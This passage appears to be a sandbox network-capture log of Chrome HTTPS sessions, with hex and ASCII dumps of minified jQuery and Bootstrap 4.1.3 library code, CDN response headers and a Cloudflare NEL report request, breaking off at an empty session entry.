2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-01-13 15:44:55 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	104.18.11.207	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:55 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:56 UTC	967	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:56 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 1673205 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901682ae1bb643fa-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 15:44:56 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-01-13 15:44:56 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2025-01-13 15:44:56 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-01-13 15:44:56 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-01-13 15:44:56 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2025-01-13 15:44:56 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-01-13 15:44:56 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-01-13 15:44:56 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-01-13 15:44:56 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2025-01-13 15:44:56 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	35.190.80.1	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 15:44:56 UTC	547	OUT	OPTIONS /report/v4?s=MTs7UvEj70VEIGVYoNP8hOuch%2FkN3J76OYyiTTtSGvPjUB0zpXmrSHefhakZwO6MMNrwxJ5KD0g%2FDxvfL2zechL2ysNY%2BcisckNaigFJ3vum4J%2FEyM35ErwB7uHtJTXljZZ%2B1uxo HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cdnjs.cloudflare.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 15:44:56 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 13 Jan 2025 15:44:56 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	35.190.80.1	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
